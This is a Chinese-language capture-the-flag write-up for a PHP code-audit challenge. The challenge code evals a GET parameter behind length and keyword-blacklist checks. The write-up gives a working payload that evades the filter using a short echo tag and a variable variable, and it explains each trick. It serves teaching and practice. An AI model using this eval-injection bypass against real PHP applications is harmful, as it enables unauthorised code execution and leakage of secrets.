这题是一题代码审计
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo '马老师发生甚么事了';
}
echo '<hr>';
highlight_file(__FILE__);
第一个判断
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
要求我们利用get来传入flag。
第二个判断
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
要求我们传入的flag与exam一样长
点击click here可以得到关于长度的提示?flag=return’30c0039cc0a2ca757d3e48d20821727f43be1c14‘;
第三个判断
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
过滤了一堆的字符但是存在一个$_GET['flag']
,可以被利用在任意代码执行上。
尝试构造一个payload
?flag=$a='fla*';$a{3}='g';?>11111111111111111;<?=$$a;?>
得到flag
这题的payload利用了php短标签<?=
可以替代<?echo
然后$$a这个利用了php的可变变量。
<?php
$a = "hello"; //声明一个不同的变量 $a 值为 hello
$$a = "world"; //声明一个可变变量 $$a,相当于 $hello 的值是 world
echo "$a $hello"; //输出 hello world
{}可以替代[]在数组中。